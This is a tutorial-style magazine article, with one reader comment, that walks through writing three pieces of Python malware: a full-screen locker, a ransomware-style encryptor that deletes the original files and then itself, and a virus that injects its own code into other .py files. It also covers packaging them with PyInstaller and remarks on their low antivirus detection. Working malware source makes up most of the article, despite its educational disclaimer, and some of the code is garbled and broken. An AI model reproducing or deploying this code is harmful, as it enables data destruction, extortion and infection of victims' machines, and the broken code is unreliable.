Poisonous Python. Coding malware in Python: a locker, an encryptor, and a virus

Why write malware in Python? First, to learn the basics of malicious coding and, second, to practice in this programming language. After all, malware written in Python is widespread in this wild world, and many antiviruses don’t detect it.

Python is commonly used to create backdoors enabling the attacker to upload and execute arbitrary code on the infected machine. For instance, in 2017, Dr.Web engineers discovered Python.BackDoor.33; on May 8, 2019, Mac.BackDoor.Siggen.20 was detected. Another trojan, RAT Python, steals user data from infected devices and uses Telegram as a data transmission channel.

Today, I will create three demonstration programs: a locker blocking access to the computer until the user enters the correct password; an encryptor parsing directories and encrypting all files stored there; and a virus spreading its code and infecting other Python programs.

info

The remote administration of infected computers is beyond the scope of this article, but you can find some basic information on this topic in an article entitled “Python reverse shell. How to boost your networking capacity with Python scripts“.

Even though my programs are not hyper-advanced from the technical perspective, they still can be dangerous under certain circumstances. Accordingly, I officially warn you that intrusions into other people’s computers and destruction of information are criminally punishable offences. Run these programs only on your own PC and exercise caution; otherwise you may accidentally encrypt its disk.

warning

This article is intended for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication.

Setting up the environment

First of all, I need the third version of Python. The installation process is described in detail in a free book called “A Byte of Python” that provides answers to numerous Python-related questions.

Then I install several additional modules required for my purposes:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

The preparations are finished, time to start coding.

Locker

The purpose of my locker is to create a full-screen window and prevent the user from closing it.

Importing libraries:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep

Writing the program:

# Create window
root = Tk()
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Set the window title
root.title('From "Xakep" with love')
# Make the window full-screen
root.attributes("-fullscreen", True)
# Create entry field, set its size and location
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Create text captions and set their location
label0 = Label(root, text="╚(•⌂•)Locker by Xakep (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Enter password and press Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Enable continuous updates of the window and pause on
root.update()
sleep(0.2)
# Click in the center of the window
click(width/2, height/2)
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing()

The string pyautogui.FAILSAFE = False relates to protection, which is activated when the cursor moves to the upper left corner of the screen. If protection is activated, the program closes. I don’t need this and therefore disable this function.

To make my locker operating on any monitor with any resolution, I read the screen width and height and use a simple formula to calculate where to move the cursor, make a click, etc. In this particular case, the cursor is moved in the center of the screen, i.e. the width and height are divided by two. The pause (sleep) is added to allow the user to enter the password.

The current version of the program does not block the text input – but I can add this feature, thus, making the user totally helpless. But first, I have to configure the program so that it closes after the entry of the correct password. For your information, the code blocking the keyboard and mouse is as follows:

import pythoncom, pyHook
hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Creating a function for the key entry:

def callback(event):
global k, entry
if entry.get() == "xakep":
k = True

The idea is simple: if the key doesn’t match the one I have specified, the program continues running. If the password is correct, the program stops.

The last function required for the malicious window:

def on_closing():
# Click in the center of the screen
click(width/2, height/2)
# Move the cursor to the center of the screen
moveTo(width/2, height/2)
# Enable full-screen mode
root.attributes("-fullscreen", True)
# If the user attempts to close the window from the Task Manager, call on_closing
root.protocol("WM_DELETE_WINDOW", on_closing)
# Enable continuous updating of the window
root.update()
# Add a key combination that closes the program
root.bind('<Control-KeyPress-c>', callback)

The handmade locker is ready!

Encryptor

To create this virus, I will need just one third-party library: pyAesCrypt. The idea is to encrypt all files in a given directory and all its subdirectories. This important limitation allows not to break the OS. I am going to create two files: an encryptor and a decryptor. After doing their job, these executable files will be self-deleted.

First, I request the path to the target folder and encryption/decryption password.

direct = input("Specify the target directory: ")
password = input("Enter the password: ")

Then I generate encryption and decryption scripts:

with open("Crypt.py", "w") as crypt:
crypt.write('''
program code
''')

Time to create files to be used as templates. For the encryptor, I will need two standard libraries:

import os
import sys

Writing the encryption function (in accordance with the pyAesCrypt manual):

def crypt(file):
import pyAesCrypt
print('-' * 80)
# Set password and buffer size
password = "'''+str(password)+'''"
buffer_size = 512*1024
# Call encryption function
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print("[Encrypt] '"+str(file)+".crp'")
# Remove the original file
os.remove(file)

Instead of str(password), the script generator will insert the password.

Important: a buffer is used to encrypt and decrypt files; this allows to circumvent the file size limitation (or at least significantly reduce this limitation). The call os.remove(file) is required to delete the original file because the program copies it and encrypts the copy. Alternatively, it is possible to instruct the program to copy the files instead of deleting them.

The function that parses folders is pretty simple.

def walk(dir):
# Parse all subfolders in the given folder
for name in os.listdir(dir):
path = os.path.join(dir, name)
# If this is a file, encrypt it
if os.path.isfile(path):
crypt(path)
# If this is a folder, repeat recursively
else:
walk(path)

In the end, I add two more strings. The first one launches the parsing; the second one self-destructs the program.

walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))

The required path will be inserted here.

The entire code is shown below:

import os
import sys
def crypt(file):
import pyAesCrypt
print('-' * 80)
password = "'"+str(password)+"'"
buffer_size = 512*1024
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print("[Encrypt] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
crypt(path)
else:
walk(path)
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Then I create the ‘mirror’ file. In the encryptor, I used the word “encrypt”; accordingly, in the decryptor, I will write “decrypt”, and its final version looks as follows:

import os
import sys
# Decryption function
def decrypt(file):
import pyAesCrypt
print('-' * 80)
password = "'''+str(password)+'''"
buffer_size = 512 * 1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
os.remove(file)
# Parsing
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try:
decrypt(path)
except Error:
pass
else:
walk(path)
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

The program consists of 29 strings, and only three of them are used for decryption. In case some of the files are damaged and an error occurs, I use try...except: if a file cannot be decrypted, the program skips it.

Virus

I am going to create a program that will infect other programs having a certain extension. Unlike a real viruse able to infect any executable file, my script will attack only programs written in Python.

This time, I won’t need any third-party libraries – only sys and os modules. Importing them.

import sys
import os

I have to create three functions: notification, parser, and infection.

The function that notifies of the attack:

def code(void):
print("Infected")

I call it to make sure that the program works:

code(None)

The directory parsing mechanism in my virus is similar to that used in the encryptor.

def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
# If a file is found, check its extension
if os.path.isfile(path):
# If the file extension is py, call virus
if (os.path.splitext(path)[1] == ".py"):
virus(path)
else:
pass
else:
# If this is a folder, go into it
walk(path)

info

In theory, I could use the same mechanism to infect files written in other languages by adding pieces of code written in these languages to files having respective extensions. In Unix-like systems, scripts in Bash, Ruby, Perl, etc. can be substituted by Python scripts by changing the path to the interpreter in the first string.

The virus will infect files ‘downward’ the folder where it is located (I call os.getcwd() to get the path).

In the beginning and in the end of the file, I add the following comments:

# START #
# STOP #

Their purpose will be explained below.

Time to create a self-replication function.

def virus(python):
begin = "# START #\n"
end = "# STOP #\n"
# Read the attacked file, name it "copy"
with open(sys.argv[0], "r") as copy:
# Create flag
k = 0
# Create a variable for the virus code and add an empty string
virus_code = "\n"
# Parse the attacked file line-by-line
for line in copy:
# If the beginning marker is found, set flag
if line == begin:
k = 1
# Add marker to the infected code
virus_code += begin
# If passed through the beginning but hasn't reached the end yet, copy the string
elif k == 1 and line != end:
virus_code += line
# If reached the end, add final marker and exit the cycle
elif line == end:
virus_code += end
break
else:
pass
# Read the infected file again
with open(python, "r") as file:
# Create a variable for the original code
original_code = ""
# Copy infected code line-by-line
for line in file:
original_code += line
# If the virus beginning marker found, stop and set the vir flag
if line == begin:
vir = True
break
# If no marker found, remove the vir flag
else:
vir = False
# If there is no vir flag, write the virus code and original code to the file
if not vir:
with open(python, "w") as paste:
paste.write(virus_code + "\n\n" + original_code)
else:
pass

Now you can see the purpose of the START and STOP comments: they mark the beginning and end of the virus code. First, the program reads the file and parses it line-by-line. When it finds a start mark, it sets the flag. An empty line is added; so that the virus begins with a new line in the original code. Then the program reads the file for the second time and writes the original code line-by-line. And finally, the program writes the virus, makes two indents, and writes the original code. It is also possible to do this in a funny way, for instance, modify all lines…

Creating executable file

How to run a virus written in a script language on the target PC? This can be done in two ways: (1) make sure that the required interpreter is installed on the victim’s computer; or (2) pack the virus and all required components into a single executable file. I implement the second variant using the PyInstaller utility.

Installing PyInstaller:

pip install PyInstaller

Entering the command:

PyInstaller "file_name.py" --onefile --noconsole

After a while, plenty of files appear in the folder containing the program. But I only need the .exe files stored in the dist directory; the rest of the files can be deleted.

Since the appearance of malicious programs written in Python, antiviruses started reacting very nervously to the presence of PyInstaller – even if it’s attached to an innocent program.

I decided to check my creations on VirusTotal; below are the reports:

The file Virus.exe showed the worst result: apparently, some antiviruses noticed its self-replication function or read its name. But still, the majority of antivirus programs did not react to any of my files.

Conclusions

Three malicious programs have been written in a script language and packed with PyInstaller.

Of course, my virus is not that dreadful, while the locker and encryptor must be somehow delivered on the target machine. None of the programs communicate with the C&C server, and I did not obfuscate their code in any way – so, there is plenty of room for improvement.

Still, after checking my programs by modern antiviruses, I must admit that their detection level is surprisingly low. Therefore, any handmade malware may become a severe threat: no matter what antivirus software is installed on your PC, you must never run unknown programs downloaded from the Internet.

www

  • Full versions of the original files are available here


14 Responses to “Poisonous Python. Coding malware in Python: a locker, an encryptor, and a virus”

    • Valery Linkov

      To make the window full screen size, try this:

      width = root.winfo_screenwidth()
      height = root.winfo_screenheight()
      root.geometry(f'{width}x{height}’)

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>